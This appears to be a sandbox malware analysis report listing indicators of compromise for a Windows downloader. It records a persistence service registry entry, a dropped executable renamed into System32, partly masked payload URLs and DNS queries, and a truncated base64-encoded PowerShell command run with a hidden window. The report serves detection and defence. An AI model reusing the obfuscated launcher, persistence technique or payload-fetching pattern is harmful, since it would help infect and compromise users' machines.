Technical Information
- [<HKLM>\System\CurrentControlSet\Services\winrsmgr] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\winrsmgr] 'ImagePath' = '"<SYSTEM32>\montr_ci\winrsmgr.exe"'
- 'winrsmgr' "<SYSTEM32>\montr_ci\winrsmgr.exe"
- 'winrsmgr' <SYSTEM32>\montr_ci\winrsmgr.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAGIAOQBqADAAYgB4AD0AKAAnAE0AbAAnACsAKAAnAGgAbQAxACcAKwAnADEAagAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdABlAG0AcABcAFcAbwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...
- %TEMP%\word\2019\n3tnr9z.exe
- <SYSTEM32>\montr_ci\winrsmgr.exe
- from %TEMP%\word\2019\n3tnr9z.exe to <SYSTEM32>\montr_ci\winrsmgr.exe
- '17#.#1.208.86':80
- http://www.ve###itize.com/wp-includes/l9K6YJ/
- http://17#.#1.208.86/gBSVubXgQ/atHiIEa/
- DNS ASK so####rucken.com
- DNS ASK ve###itize.com
- '%TEMP%\word\2019\n3tnr9z.exe'
- '<SYSTEM32>\montr_ci\winrsmgr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAGIAOQBqADAAYgB4AD0AKAAnAE0AbAAnACsAKAAnAGgAbQAxACcAKwAnADEAagAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdABlAG0AcABcAFcAbwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...' (with hidden window)